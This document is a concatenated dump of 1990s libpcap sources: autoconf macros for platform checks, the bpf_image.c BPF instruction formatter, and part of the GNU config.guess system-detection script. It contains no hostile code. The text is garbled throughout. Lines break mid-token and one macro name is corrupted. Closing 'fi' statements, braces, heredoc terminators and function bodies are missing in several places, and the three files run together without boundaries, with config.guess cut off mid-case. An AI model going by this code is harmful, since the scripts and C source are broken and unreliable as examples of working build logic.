dnl Define RETSIGTYPE and RETSIGVAL
dnl
usage:
dnl AC_LBL_TYPE_SIGNAL
dnl
results:
dnl RETSIGTYPE
(defined)
dnl RETSIGVAL
(defined)
AC_DEFUN(AC_LBL_TYPE_SIGNAL,
[AC_BEFORE([$0], [AC_LBL_LIBPCAP])
AC_TYPE_SIGNAL
if test "$ac_cv_type_signal" =
void ; then
AC_DEFINE(RETSIGVAL,)
else
AC_DEFINE(RETSIGVAL,(0))
fi
case "$target_os" in
irix*)
AC_DEFINE(_BSD_SIGNALS)
;;
*)
dnl prefer sigset() to sigaction()
AC_CHECK_FUNCS(sigset)
if test $ac_cv_func_sigset = no ; then
AC_CHECK_FUNCS(sigaction)
fi
;;
esac])
dnl If using gcc, make sure we have ANSI ioctl
definitions
dnl usage:
dnl AC_LBL_FIXINCLUDES
AC_DEFUN(AC_LBL_FIXINCLUDES,
[if test "$GCC" = yes ;
then
AC_MSG_CHECKING(for ANSI ioctl definitions)
AC_CACHE_VAL(ac_cv_lbl_gcc_fixincludes,
AC_TRY_COMPILE(
[/*
* This generates a "duplicate case
value" when fixincludes
* has not be run.
*/
# include
<sys/types.h>
# include <sys/time.h>
# include
<sys/ioctl.h>
# ifdef HAVE_SYS_IOCCOM_H
# include
<sys/ioccom.h>
# endif],
[switch (0)
{
case _IO('A', 1):;
case _IO('B', 1):;
}],
ac_cv_lbl_gcc_fixincludes=yes,
ac_cv_lbl_gcc_fixincludes=no))
AC_MSG_RESULT($ac_cv_lbl_gcc_fixincludes)
if test
$ac_cv_lbl_gcc_fixincludes = no ; then
# Don't cache failure
unset ac_cv_lbl_gcc_fixincludes
AC_MSG_ERROR(see the INSTALL for more
info)
fi
fi])
dnl Check for flex, default to lex
dnl Require
flex 2.4 or higher
dnl Check for bison, default to yacc
dnl Default
to lex/yacc if both flex and bison are not available
dnl Define the yy
prefix string if using flex and bison
dnl usage:
dnl AC_LBL_LEX_AND_YACC(lex, yacc,
yyprefix)
dnl results:
dnl $1
(lex set)
dnl $2 (yacc
appended)
dnl $3 (optional flex and
bison -P prefix)
AC_DEFUN(AC_LBL_LEX_AND_YACC,
[AC_ARG_WITH(flex, [ --without-flex don't use flex])
AC_ARG_WITH(bison, [
--without-bison don't use
bison])
if test
"$with_flex" = no ; then
$1=lex
else
AC_CHECK_PROGS($1, flex, lex)
fi
if test "$$1" = flex ; then
# The -V flag was added in 2.4
AC_MSG_CHECKING(for flex 2.4 or higher)
AC_CACHE_VAL(ac_cv_lbl_flex_v24,
if flex -V >/dev/null 2>&1;
then
ac_cv_lbl_flex_v24=yes
else
ac_cv_lbl_flex_v24=no
fi)
AC_MSG_RESULT($ac_cv_lbl_flex_v24)
if test $ac_cv_lbl_flex_v24 = no ;
then
s="2.4 or higher required"
AC_MSG_WARN(ignoring obsolete flex executable ($s))
$1=lex
fi
fi
if test
"$with_bison" = no ; then
$2=yacc
else
AC_CHECK_PROGS($2, bison, yacc)
fi
if test "$$2" = bison ; then
$2="$$2 -y"
fi
if test
"$$1" != lex -a "$$2" = yacc -o "$$1" = lex -a
"$$2" != yacc ; then
AC_MSG_WARN(don't have both flex and
bison; reverting to lex/yacc)
$1=lex
$2=yacc
fi
if test "$$1" = flex -a -n "$3" ;
then
$1="$$1 -P$3"
$2="$$2 -p $3"
fi])
dnl Checks to see if union wait
is used with WEXITSTATUS()
dnl usage:
dnl AC_LBL_UNION_WAIT
dnl results:
dnl DECLWAITSTATUS (defined)
AC_DEFUN(AC_LBL_UNION_WAIT,
[AC_MSG_CHECKING(if union wait is
used)
AC_CACHE_VAL(ac_cv_lbl_union_wait,
AC_TRY_COMPILE([
# include <sys/types.h>
# include <sys/wait.h>],
[int status;
u_int i = WEXITSTATUS(status);
u_int j = waitpid(0, &status, 0);],
ac_cv_lbl_union_wait=no,
ac_cv_lbl_union_wait=yes))
AC_MSG_RESULT($ac_cv_lbl_union_wait)
if test $ac_cv_lbl_union_wait = yes ;
then
AC_DEFINE(DECLWAITSTATUS,union wait)
else
AC_DEFINE(DECLWAITSTATUS,int)
fi])
dnl Checks to see if the
sockaddr struct has the 4.4 BSD sa_len member
dnl usage:
dnl AC_LBL_SOCKADDR_SA_LEN
dnl
results:
dnl HAVE_SOCKADDR_SA_LEN
(defined)
AC_DEFUN(AC_LBL_SOCKADDR_SA_LEN,
[AC_MSG_CHECKING(if sockaddr struct has sa_len member)
AC_CACHE_VAL(ac_cv_lbl_sockaddr_has_sa_len,
AC_TRY_COMPILE([
# include
<sys/types.h>
# include
<sys/socket.h>],
[u_int i
= sizeof(((struct sockaddr *)0)->sa_len)],
ac_cv_lbl_sockaddr_has_sa_len=yes,
ac_cv_lbl_sockaddr_has_sa_len=no))
AC_MSG_RESULT($ac_cv_lbl_sockaddr_has_sa_len)
if test $ac_cv_lbl_sockaddr_has_sa_len =
yes ; then
AC_DEFINE(HAVE_SOCKADDR_SA_LEN)
fi])
dnl Checks to see if -R is
used
dnl usage:
dnl AC_LBL_HAVE_RUN_PATH
dnl
results:
dnl ac_cv_lbl_have_run_path
(yes or no)
AC_DEFUN(AC_LBL_HAVE_RUN_PATH,
[AC_MSG_CHECKING(for ${CC-cc} -R)
AC_CACHE_VAL(ac_cv_lbl_have_run_path,
[echo 'main(){}' > conftest.c
${CC-cc} -o conftest conftest.c
-R/a1/b2/c3 >conftest.out 2>&1
if
test ! -s conftest.out ; then
ac_cv_lbl_have_run_path=yes
else
ac_cv_lbl_have_run_path=no
rm -f conftest*])
AC_MSG_RESULT($ac_cv_lbl_have_run_path)
])
dnl Due to the stupid way it's
implemented, AC_CHECK_TYPE is nearly useless.
dnl usage:
dnl AC_LBL_CHECK_TYPE
dnl results:
dnl int32_t (defined)
dnl u_int32_t (defined)
AC_DEFUN(AC_LBL_CHECK_TYPE,
[AC_MSG_CHECKING(for $1 using $CC)
AC_CACHE_VAL(ac_cv_lbl_have_$1,
AC_TRY_COMPILE([
# include "confdefs.h"
# include <sys/types.h>
# if STDC_HEADERS
# include <stdlib.h>
# include <stddef.h>
# endif],
[$1 i],
ac_cv_lbl_have_$1=yes,
ac_cv_lbl_have_$1=no))
AC_MSG_RESULT($ac_cv_lbl_have_$1)
if test $ac_cv_lbl_have_$1 = no ;
then
AC_DEFINE($1, $2)
fi])
dnl Checks to see if unaligned memory accesses fail
dnl
usage:
dnl AC_LBL_UNALIGNED_ACCESS
dnl
results:
dnl LBL_ALIGN
(DEFINED)
AC_DEFUN(A?C
C_LBL_UNALIGNED_ACCESS,
[AC_MSG_CHECKING(if unaligned accesses
fail)
AC_CACHE_VAL(ac_cv_lbl_unaligned_fail,
[case "$target_cpu" in
alpha|hp*|mips|sparc)
ac_cv_lbl_unaligned_fail=yes
;;
cat
>conftest.c <<EOF
# include <sys/types.h>
# include
<sys/wait.h>
# include <stdio.h>
unsigned
char a[[5]] = { 1, 2, 3, 4, 5 };
main() {
unsigned int
i;
pid_t pid;
int status;
/* avoid "core
dumped" message */
pid = fork();
if (pid < 0)
exit(2);
if (pid > 0)
{
/* parent */
pid = waitpid(pid, &status, 0);
if
(pid < 0)
exit(3);
exit(!WIFEXITED(status));
/*
child */
i = *(unsigned int *)&a[[1]];
printf("%d\n",
i);
exit(0);
${CC-cc} -o conftest $CFLAGS $CPPFLAGS
$LDFLAGS \
conftest.c $LIBS >/dev/null
2>&1
if test ! -x conftest ; then
dnl
failed to compile for some reason
ac_cv_lbl_unaligned_fail=yes
else
./conftest
>conftest.out
if test ! -s conftest.out ; then
ac_cv_lbl_unaligned_fail=yes
else
ac_cv_lbl_unaligned_fail=no
fi
fi
rm
-f conftest* core core.conftest
;;
esac])
AC_MSG_RESULT($ac_cv_lbl_unaligned_fail)
if test $ac_cv_lbl_unaligned_fail = yes ; then
AC_DEFINE(LBL_ALIGN)
fi])
dnl If using gcc and the file .devel exists:
dnl Compile with -g (if supported) and
-Wall
dnl If using gcc 2, do extra
prototype checking
dnl If an os
prototype include exists, symlink os-proto.h to it
dnl usage:
dnl AC_LBL_DEVEL(copt)
dnl results:
dnl $1 (copt appended)
dnl HAVE_OS_PROTO_H (defined)
dnl os-proto.h (symlinked)
AC_DEFUN(AC_LBL_DEVEL,
[rm -f os-proto.h
if test "${LBL_CFLAGS+set}" =
set; then
$1="$$1 ${LBL_CFLAGS}"
fi
if test -f .devel ; then
if test "$GCC" = yes ;
then
if test "${LBL_CFLAGS+set}" !=
set; then
if test "$ac_cv_prog_cc_g" = yes ; then
$1="-g $$1"
fi
$1="$$1 -Wall"
if test $ac_cv_lbl_gcc_vers -gt 1 ; then
$1="$$1 -Wmissing-prototypes
-Wstrict-prototypes"
fi
fi
else
case "$target_os" in
irix6*)
V_CCOPT="$V_CCOPT -n32"
;;
*)
;;
esac
fi
os=`echo $target_os | sed -e
's/\([[0-9]][[0-9]]*\)[[^0-9]].*$/\1/'`
name="lbl/os-$os.h"
if test -f $name ; then
ln -s $name os-proto.h
AC_DEFINE(HAVE_OS_PROTO_H)
else
AC_MSG_WARN(can't find $name)
fi
fi])
dnl
Improved version of AC_CHECK_LIB
dnl Thanks to John Hawkinson
(jhawk@mit.edu)
dnl usage:
dnl AC_LBL_CHECK_LIB(LIBRARY,
FUNCTION [, ACTION-IF-FOUND [,
dnl ACTION-IF-NOT-FOUND [,
OTHER-LIBRARIES]]])
dnl results:
dnl LIBS
define(AC_LBL_CHECK_LIB,
[AC_MSG_CHECKING([for
$2 in -l$1])
dnl Use a cache variable name containing both the library and
function name,
dnl because the test really is for library $1 defining
function $2, not
dnl just for library $1.
Separate tests with the same $1 and different $2's
dnl may have
different results.
ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+-
%__p__%'`
AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var,
[ac_save_LIBS="$LIBS"
LIBS="-l$1
$5 $LIBS"
AC_TRY_LINK(dnl
ifelse([$2], [main], , dnl Avoid
conflicting decl of main.
[/* Override any gcc2 internal prototype to
avoid an error. */
]ifelse(AC_LANG,
CPLUSPLUS, [#ifdef __cplusplus
extern "C"
#endif
])dnl
[/*
We use char because int might match the return type of a gcc2
builtin and then its argument prototype
would still apply. */
char
$2();
[$2()],
eval
"ac_cv_lbl_lib_$ac_lib_var=yes",
eval
"ac_cv_lbl_lib_$ac_lib_var=no")
LIBS="$ac_save_LIBS"
])dnl
if
eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes";
then
AC_MSG_RESULT(yes)
ifelse([$3], ,
[changequote(,
)dnl
ac_tr_lib=HAVE_LIB`echo $1 |
sed -e 's/[^a-zA-Z0-9_]/_/g' \
-e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'`
changequote([,
])dnl
AC_DEFINE_UNQUOTED($ac_tr_lib)
LIBS="-l$1 $LIBS"
], [$3])
else
AC_MSG_RESULT(no)
ifelse([$4], , ,
[$4
])dnl
dnl AC_LBL_LIBRARY_NET
dnl This test is for network
applications that need socket() and
dnl gethostbyname() -ish
functions. Under Solaris, those
applications
dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link
dnl with
"-lnsl" but should *not* link with "-lsocket" because
dnl
libsocket.a breaks a number of things (for instance:
dnl gethostbyname()
under IRIX 5.2, and snoop sockets under most
dnl versions of IRIX).
dnl
Unfortunately, many application developers are not aware of this,
dnl and
mistakenly write tests that cause -lsocket to be used under
dnl IRIX. It is also easy to write tests that cause
-lnsl to be used
dnl under operating systems where neither are necessary
(or useful),
dnl such as SunOS 4.1.4, which uses -lnsl for TLI.
dnl
This test exists so that every application developer does not test
dnl
this in a different, and subtly broken fashion.
dnl It has been argued
that this test should be broken up into two
dnl seperate tests, one for
the resolver libraries, and one for the
dnl libraries necessary for using
Sockets API. Unfortunately, the two
dnl are carefully intertwined and
allowing the autoconf user to use
dnl them independantly potentially
results in unfortunate ordering
dnl dependancies -- as such, such
component macros would have to
dnl carefully use indirection and be aware
if the other components were
dnl executed. Since other autoconf macros do
not go to this trouble,
dnl and almost no applications use sockets without
the resolver, this
dnl complexity has not been implemented.
dnl The
check for libresolv is in case you are attempting to link
dnl statically
and happen to have a libresolv.a lying around (and no
dnl libnsl.a).
AC_DEFUN(AC_LBL_LIBRARY_NET,
[
# Most operating systems have
gethostbyname() in the default searched
# libraries (i.e. libc):
AC_CHECK_FUNC(gethostbyname, ,
# Some OSes (eg. Solaris) place it in libnsl:
AC_LBL_CHECK_LIB(nsl, gethostbyname, ,
# Some strange OSes (SINIX) have it in libsocket:
AC_LBL_CHECK_LIB(socket, gethostbyname, ,
# Unfortunately
libsocket sometimes depends on libnsl.
# AC_CHECK_LIB's API is essentially broken
so the
# following ugliness is necessary:
AC_LBL_CHECK_LIB(socket,
gethostbyname,
LIBS="-lsocket -lnsl
$LIBS",
AC_CHECK_LIB(resolv, gethostbyname),
-lnsl))))
AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, ,
AC_LBL_CHECK_LIB(socket, socket,
LIBS="-lsocket -lnsl $LIBS", ,
-lnsl)))
# DLPI needs putmsg under HPUX so test for -lstr while we're at
it
AC_CHECK_LIB(str,
putmsg)
])
* Copyright (c) 1990, 1991, 1992, 1994, 1995,
1996
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: bpf_image.c,v 1.22
96/09/26 23:27:56 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<stdio.h>
#include <string.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
char
*
bpf_image(p, n)
struct
bpf_insn *p;
int n;
int v;
char *fmt, *op;
static
char image[256];
char
operand[64];
v = p->k;
switch (p->code) {
default:
op =
"unimp";
fmt = "0x%x";
v
= p->code;
break;
case BPF_RET|BPF_K:
op = "ret";
fmt
= "#%d";
break;
case BPF_RET|BPF_A:
op = "ret";
fmt
= "";
break;
case BPF_LD|BPF_W|BPF_ABS:
op =
"ld";
fmt = "[%d]";
break;
case BPF_LD|BPF_H|BPF_ABS:
op
= "ldh";
fmt = "[%d]";
break;
case BPF_LD|BPF_B|BPF_ABS:
op
= "ldb";
fmt = "[%d]";
break;
case BPF_LD|BPF_W|BPF_LEN:
op
= "ld";
fmt = "#pktlen";
break;
case BPF_LD|BPF_W|BPF_IND:
op
= "ld";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_H|BPF_IND:
op
= "ldh";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_B|BPF_IND:
op
= "ldb";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_IMM:
op
= "ld";
fmt = "#0x%x";
break;
case BPF_LDX|BPF_IMM:
op
= "ldx";
fmt = "#0x%x";
break;
case BPF_LDX|BPF_MSH|BPF_B:
op
= "ldxb";
fmt = "4*([%d]&0xf)";
break;
case BPF_LD|BPF_MEM:
op
= "ld";
fmt = "M[%d]";
break;
case BPF_LDX|BPF_MEM:
op
= "ldx";
fmt = "M[%d]";
break;
case BPF_ST:
op =
"st";
fmt = "M[%d]";
break;
case BPF_STX:
op =
"stx";
fmt = "M[%d]";
break;
case BPF_JMP|BPF_JA:
op
= "ja";
fmt = "%d";
v
= n + 1 + p->k;
break;
case BPF_JMP|BPF_JGT|BPF_K:
op =
"jgt";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JGE|BPF_K:
op
= "jge";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JEQ|BPF_K:
op
= "jeq";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JSET|BPF_K:
op
= "jset";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JGT|BPF_X:
op
= "jgt";
fmt = "x";
break;
case BPF_JMP|BPF_JGE|BPF_X:
op
= "jge";
fmt = "x";
break;
case BPF_JMP|BPF_JEQ|BPF_X:
op
= "jeq";
fmt = "x";
break;
case BPF_JMP|BPF_JSET|BPF_X:
op
= "jset";
fmt = "x";
break;
case BPF_ALU|BPF_ADD|BPF_X:
op
= "add";
fmt = "x";
break;
case BPF_ALU|BPF_SUB|BPF_X:
op
= "sub";
fmt = "x";
break;
case BPF_ALU|BPF_MUL|BPF_X:
op
= "mul";
fmt = "x";
break;
case BPF_ALU|BPF_DIV|BPF_X:
op
= "div";
fmt = "x";
break;
case BPF_ALU|BPF_AND|BPF_X:
op
= "and";
fmt = "x";
break;
case BPF_ALU|BPF_OR|BPF_X:
op
= "or";
fmt = "x";
break;
case BPF_ALU|BPF_LSH|BPF_X:
op
= "lsh";
fmt = "x";
break;
case BPF_ALU|BPF_RSH|BPF_X:
op
= "rsh";
fmt = "x";
break;
case BPF_ALU|BPF_ADD|BPF_K:
op
= "add";
fmt = "#%d";
break;
case BPF_ALU|BPF_SUB|BPF_K:
op
= "sub";
fmt = "#%d";
break;
case BPF_ALU|BPF_MUL|BPF_K:
op
= "mul";
fmt = "#%d";
break;
case BPF_ALU|BPF_DIV|BPF_K:
op
= "div";
fmt = "#%d";
break;
case BPF_ALU|BPF_AND|BPF_K:
op
= "and";
fmt = "#0x%x";
break;
case BPF_ALU|BPF_OR|BPF_K:
op
= "or";
fmt = "#0x%x";
break;
case BPF_ALU|BPF_LSH|BPF_K:
op
= "lsh";
fmt = "#%d";
break;
case BPF_ALU|BPF_RSH|BPF_K:
op
= "rsh";
fmt = "#%d";
break;
case BPF_ALU|BPF_NEG:
op
= "neg";
fmt = "";
break;
case BPF_MISC|BPF_TAX:
op
= "tax";
fmt = "";
break;
case BPF_MISC|BPF_TXA:
op
= "txa";
fmt = "";
break;
(void)sprintf(operand, fmt, v);
(void)sprintf(image,
(BPF_CLASS(p->code) == BPF_JMP &&
BPF_OP(p->code) != BPF_JA) ?
"(%03d)
%-8s %-16s jt %d\tjf %d"
: "(%03d) %-8s %s",
n, op, operand, n + 1 +
p->jt, n + 1 + p->jf);
return
image;
#! /bin/sh
# Attempt to guess a canonical system name.
# Copyright (C) 1992, 93, 94, 95, 1996 Free
Software Foundation, Inc.
# This file is free software; you can
redistribute it and/or modify it
# under the terms of the GNU General
Public License as published by
# the Free Software Foundation; either
version 2 of the License, or
# (at your option) any later version.
#
This program is distributed in the hope that it will be useful, but
# WITHOUT
ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See
the GNU
# General Public License for more details.
# You should have
received a copy of the GNU General Public License
# along with this program;
if not, write to the Free Software
# Foundation, Inc., 59 Temple Place -
Suite 330, Boston, MA 02111-1307, USA.
# As a special exception to the GNU
General Public License, if you
# distribute this file as part of a program
that contains a
# configuration script generated by Autoconf, you may
include it under
# the same distribution terms that you use for the rest
of that program.
# Written by Per Bothner
<bothner@cygnus.com>.
# The master version of this file is at the
FSF in /home/gd/gnu/lib.
# This script attempts to guess a canonical
system name similar to
# config.sub.
If it succeeds, it prints the system name on stdout, and
# exits
with 0. Otherwise, it exits with
1.
# The plan is that this can be called by configure scripts if you
#
don't specify an explicit system type (host/target name).
# Only a few
systems have been added to this list; please add others
# (but try to keep
the structure clean).
# This is needed to find uname on a Pyramid OSx when
run in the BSD universe.
# (ghazi@noc.rutgers.edu 8/24/94.)
if (test
-f /.attbin/uname) >/dev/null 2>&1 ; then
PATH=$PATH:/.attbin ; export PATH
UNAME_MACHINE=`(uname
-m) 2>/dev/null` || UNAME_MACHINE=unknown
UNAME_RELEASE=`(uname -r)
2>/dev/null` || UNAME_RELEASE=unknown
UNAME_SYSTEM=`(uname -s) 2>/dev/null`
|| UNAME_SYSTEM=unknown
UNAME_VERSION=`(uname -v) 2>/dev/null` ||
UNAME_VERSION=unknown
trap 'rm -f dummy.c dummy.o dummy; exit 1' 1 2
15
# Note: order is significant - the case branches are not
exclusive.
case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}"
in
alpha:OSF1:*:*)
# A Vn.n version is a released
version.
# A Tn.n version is a
released field test version.
#
A Xn.n version is an unreleased experimental baselevel.
# 1.2 uses "1.2" for uname
-r.
echo alpha-dec-osf`echo
${UNAME_RELEASE} | sed -e 's/^[VTX]//'`
exit
0 ;;
21064:Windows_NT:50:3)
echo
alpha-dec-winnt3.5
exit 0
;;
Amiga*:UNIX_System_V:4.0:*)
echo
m68k-cbm-sysv4
exit 0;;
amiga:NetBSD:*:*)
echo
m68k-cbm-netbsd${UNAME_RELEASE}
exit 0 ;;
amiga:OpenBSD:*:*)
echo
m68k-cbm-openbsd${UNAME_RELEASE}
exit 0 ;;
arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
echo arm-acorn-riscix${UNAME_RELEASE}
exit 0;;
Pyramid*:OSx*:*:*|MIS*:OSx*:*:*)
# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and
NILE.
if test
"`(/bin/universe) 2>/dev/null`" = att ; then
echo
pyramid-pyramid-sysv3
else
echo
pyramid-pyramid-bsd
exit 0
;;
NILE:*:*:dcosx)
echo pyramid-pyramid-svr4
exit 0 ;;
sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
echo sparc-sun-solaris2`echo
${UNAME_RELEASE}|sed -e 's/[^.]*//'`
exit
0 ;;
i86pc:SunOS:5.*:*)
echo i386-pc-solaris2`echo
${UNAME_RELEASE}|sed -e 's/[^.]*//'`
exit
0 ;;
sun4*:SunOS:6*:*)
# According to config.sub, this is the
proper way to canonicalize
#
SunOS6. Hard to guess exactly what
SunOS6 will be like, but
# it's
likely to be more like Solaris than SunOS4.
echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e
's/[^.]*//'`
exit 0 ;;
sun4*:SunOS:*:*)
case "`/usr/bin/arch -k`"
in
Series*|S4*)
UNAME_RELEASE=`uname -v`
;;
esac
#
Japanese Language versions have a version number like `4.1.3-JL'.
echo sparc-sun-sunos`echo
${UNAME_RELEASE}|sed -e 's/-/_/'`
exit
0 ;;
sun3*:SunOS:*:*)
echo m68k-sun-sunos${UNAME_RELEASE}
exit 0 ;;
aushp:SunOS:*:*)
echo
sparc-auspex-sunos${UNAME_RELEASE}
exit
0 ;;
atari*:NetBSD:*:*)
echo
m68k-atari-netbsd${UNAME_RELEASE}
exit
0 ;;
atari*:OpenBSD:*:*)
echo
m68k-atari-openbsd${UNAME_RELEASE}
exit
0 ;;
sun3*:NetBSD:*:*)
echo m68k-sun-netbsd${UNAME_RELEASE}
exit 0 ;;
sun3*:OpenBSD:*:*)
echo
m68k-sun-openbsd${UNAME_RELEASE}
exit
0 ;;
mac68k:NetBSD:*:*)
echo
m68k-apple-netbsd${UNAME_RELEASE}
exit
0 ;;
mac68k:OpenBSD:*:*)
echo m68k-apple-openbsd${UNAME_RELEASE}
exit 0 ;;
powerpc:machten:*:*)
echo
powerpc-apple-machten${UNAME_RELEASE}
exit
0 ;;
RISC*:Mach:*:*)
echo mips-dec-mach_bsd4.3
exit 0 ;;
RISC*:ULTRIX:*:*)
echo
mips-dec-ultrix${UNAME_RELEASE}
exit
0 ;;
VAX*:ULTRIX*:*:*)
echo vax-dec-ultrix${UNAME_RELEASE}
exit 0 ;;
mips:*:*:UMIPS | mips:*:*:RISCos)
sed 's/^ //' << EOF
>dummy.c
int main (argc,
argv) int argc; char **argv; {
#if
defined (host_mips) && defined (MIPSEB)
#if defined (SYSTYPE_SYSV)
printf ("mips-mips-riscos%ssysv\n",
argv[1]); exit (0);
#endif
#if defined (SYSTYPE_SVR4)
printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0);
#endif
#if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD)
printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0);
#endif
#endif
exit (-1);
${CC-cc} dummy.c -o dummy \
&& ./dummy
`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \
&& rm dummy.c dummy && exit 0
rm -f dummy.c dummy
echo
mips-mips-riscos${UNAME_RELEASE}
exit
0 ;;
Night_Hawk:Power_UNIX:*:*)
echo powerpc-harris-powerunix
exit 0 ;;
m88k:CX/UX:7*:*)
echo
m88k-harris-cxux7
exit 0
;;
m88k:*:4*:R4*)
echo m88k-motorola-sysv4
exit 0 ;;
m88k:*:3*:R3*)
echo
m88k-motorola-sysv3
exit 0
;;
AViiON:dgux:*:*)
# DG/UX returns AViiON for all
architectures
UNAME_PROCESSOR=`/usr/bin/uname -p`
if [ $UNAME_PROCESSOR = mc88100 -o $UNAME_PROCESSOR =
mc88110 ] ; then
if [
${TARGET_BINARY_INTERFACE}x = m88kdguxelfx \
-o
${TARGET_BINARY_INTERFACE}x = x ] ; then
echo m88k-dg-dgux${UNAME_RELEASE}
else
echo m88k-dg-dguxbcs${UNAME_RELEASE}
else echo
i586-dg-dgux${UNAME_RELEASE}
fi
exit 0 ;;
M88*:DolphinOS:*:*) #
DolphinOS (SVR3)
echo
m88k-dolphin-sysv3
exit 0
;;
M88*:*:R3*:*)
# Delta 88k system running SVR3
echo m88k-motorola-sysv3
exit 0 ;;
XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
echo m88k-tektronix-sysv3
exit 0 ;;
Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek
(BSD)
echo m68k-tektronix-bsd
exit 0 ;;
*:IRIX*:*:*)
echo
mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
exit 0 ;;
????????:AIX?:[12].1:2)
# AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
echo romp-ibm-aix #
uname -m gives an 8 hex-code CPU id
exit
0 ;; # Note that: echo
"'`uname -s`'" gives 'AIX '
i?86:AIX:*:*)
echo
i386-ibm-aix
exit 0 ;;
*:AIX:2:3)
if grep bos325 /usr/include/stdio.h >/dev/null 2>&1;
then
sed 's/^ //' << EOF >dummy.c
#include
<sys/systemcfg.h>
main()
{
if
(!__power_pc())
exit(1);
puts("powerpc-ibm-aix3.2.5");
exit(0);
}
${CC-cc}
dummy.c -o dummy && ./dummy && rm dummy.c dummy && exit
0
rm -f dummy.c dummy
echo rs6000-ibm-aix3.2.5
elif grep bos324 /usr/include/stdio.h
>/dev/null 2>&1; then
echo rs6000-ibm-aix3.2.4
else
echo rs6000-ibm-aix3.2
exit 0 ;;
*:AIX:*:4)
if
/usr/sbin/lsattr -EHl proc0 | grep POWER >/dev/null 2>&1; then
IBM_ARCH=rs6000
else
IBM_ARCH=powerpc
if [ -x /usr/bin/oslevel ] ; then
IBM_REV=`/usr/bin/oslevel`
else
IBM_REV=4.${UNAME_RELEASE}
echo ${IBM_ARCH}-ibm-aix${IBM_REV}
exit 0 ;;
*:AIX:*:*)
echo
rs6000-ibm-aix
exit 0 ;;
ibmrt:4.4BSD:*|romp-ibm:BSD:*)
echo romp-ibm-bsd4.4
exit 0 ;;
ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC NetBSD and
echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to
exit
0 ;; # report:
romp-ibm BSD 4.3
*:BOSX:*:*)
echo
rs6000-bull-bosx
exit 0
;;
DPX/2?00:B.O.S.:*:*)
echo m68k-bull-sysv3
exit 0 ;;
9000/[34]??:4.3bsd:1.*:*)
echo
m68k-hp-bsd
exit 0 ;;
hp300:4.4BSD:*:* |
9000/[34]??:4.3bsd:2.*:*)
echo
m68k-hp-bsd4.4
exit 0 ;;
9000/[3478]??:HP-UX:*:*)
case "${UNAME_MACHINE}" in
9000/31? )
HP_ARCH=m68000 ;;
9000/[34]?? ) HP_ARCH=m68k ;;
9000/7?? | 9000/8?[1679] ) HP_ARCH=hppa1.1
;;
9000/8?? )
HP_ARCH=hppa1.0 ;;
esac
HPUX_REV=`echo ${UNAME_RELEASE}|sed -e
's/[^.]*.[0B]*//'`
echo
${HP_ARCH}-hp-hpux${HPUX_REV}
exit
0 ;;
3050*:HI-UX:*:*)
sed 's/^ //'
<< EOF >dummy.c
#include
<unistd.h>
int
main ()
long cpu = sysconf
(_SC_CPU_VERSION);
/* The order matters, because
CPU_IS_HP_MC68K erroneously returns
true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct
results, however. */
if (CPU_IS_PA_RISC (cpu))
{
switch (cpu)
case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2");
break;
case CPU_PA_RISC1_1: puts
("hppa1.1-hitachi-hiuxwe2"); break;
case
CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break;
default: puts ("hppa-hitachi-hiuxwe2"); break;
}
else if (CPU_IS_HP_MC68K (cpu))
puts ("m68k-hitachi-hiuxwe2");
else puts
("unknown-hitachi-hiuxwe2");
exit (0);
${CC-cc} dummy.c -o dummy && ./dummy && rm
dummy.c dummy && exit 0
rm
-f dummy.c dummy
echo
unknown-hitachi-hiuxwe2
exit 0
;;
9000/7??:4.3bsd:*:* |
9000/8?[79]:4.3bsd:*:* )
echo
hppa1.1-hp-bsd
exit 0 ;;
